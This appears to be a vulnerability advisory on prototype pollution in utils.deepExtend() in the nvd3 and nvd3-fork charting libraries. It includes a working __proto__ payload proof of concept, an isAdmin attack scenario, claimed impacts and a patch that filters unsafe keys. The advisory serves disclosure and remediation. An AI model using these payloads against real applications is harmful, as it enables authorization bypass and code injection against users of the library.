Prototype Pollution in utils.deepExtend() — affects nvd3 and nvd3-fork
Prototype Pollution in nvd3 / nvd3-fork
Summary
nvd3 (<= 1.8.6) and its fork nvd3-fork (<= 2.0.5) are vulnerable to Prototype Pollution via the utils.deepExtend() function.
- CWE: CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
- Severity: High (CVSS 7.5)
- Weekly Downloads: nvd3: 62,217 + nvd3-fork: 46,872 = 109,089 combined
- npm: https://www.npmjs.com/package/nvd3
Description
nvd3 is a popular D3-based charting library. The utils.deepExtend() function recursively merges objects without filtering dangerous keys (__proto__, constructor, prototype). When a source object contains __proto__, the function traverses into Object.prototype and assigns properties to it, polluting all JavaScript objects in the application.
Proof of Concept
const nv = require("nvd3");
// Before: prototype is clean
console.log("Before:", ({}).polluted); // undefined
// Pollute via deepExtend
const malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}');
nv.utils.deepExtend({}, malicious);
// After: Object.prototype is polluted
console.log("After:", ({}).polluted); // "yes"
console.log("Object.prototype.polluted:", Object.prototype.polluted); // "yes"
// Every new object inherits the polluted property
const fresh = {};
console.log("fresh.polluted:", fresh.polluted); // "yes"The same PoC works with nvd3-fork:
const nv = require("nvd3-fork");
nv.utils.deepExtend({}, JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log(({}).polluted); // "yes"Why this is a real vulnerability
Object.prototypeis globally modified — after callingdeepExtendwith a crafted payload,({}).polluted === "yes"on every newly created object in the entire Node.js processThe root cause is in
utils.deepExtend()which uses recursive property copying:- It iterates over all keys in the source object
- When it encounters
__proto__, it accessestarget["__proto__"]which isObject.prototype - It then recursively copies properties onto
Object.prototype - No check is performed to skip
__proto__,constructor, orprototypekeys
Attack scenario: nvd3 charts accept configuration objects. If chart options come from user-controlled sources (API responses, config files, URL parameters), an attacker can inject
__proto__properties:// Server renders chart with user-provided options const userOptions = JSON.parse(req.body.chartConfig); nv.utils.deepExtend(defaultOptions, userOptions); // If userOptions = {"__proto__":{"isAdmin":true}} → all objects pollutedThis is a well-documented vulnerability class — CVE-2020-8203 (lodash), CVE-2021-25945 (js-extend) are the same pattern
Impact
- Remote Code Execution (RCE) —
child_process.spawninheritsshell: truefrom polluted prototype, enabling command injection - Denial of Service (DoS) — overriding
toString/valueOfcrashes any string coercion:String({})throws TypeError - Authentication Bypass — polluting
isAdmin,role,authorizedbypasses downstream authorization checks - Property Injection — all newly created objects inherit polluted properties, causing unpredictable application behavior
Remediation
Filter dangerous keys in utils.deepExtend():
const UNSAFE_KEYS = new Set(["__proto__", "constructor", "prototype"]);
nv.utils.deepExtend = function(dst) {
angular.forEach(arguments, function(obj) {
if (obj !== dst) {
angular.forEach(obj, function(value, key) {
if (UNSAFE_KEYS.has(key)) return; // ← ADD THIS LINE
if (dst[key] && dst[key].constructor && dst[key].constructor === Object) {
nv.utils.deepExtend(dst[key], value);
} else {
dst[key] = value;
}
});
}
});
};References
Source: novus/nvd3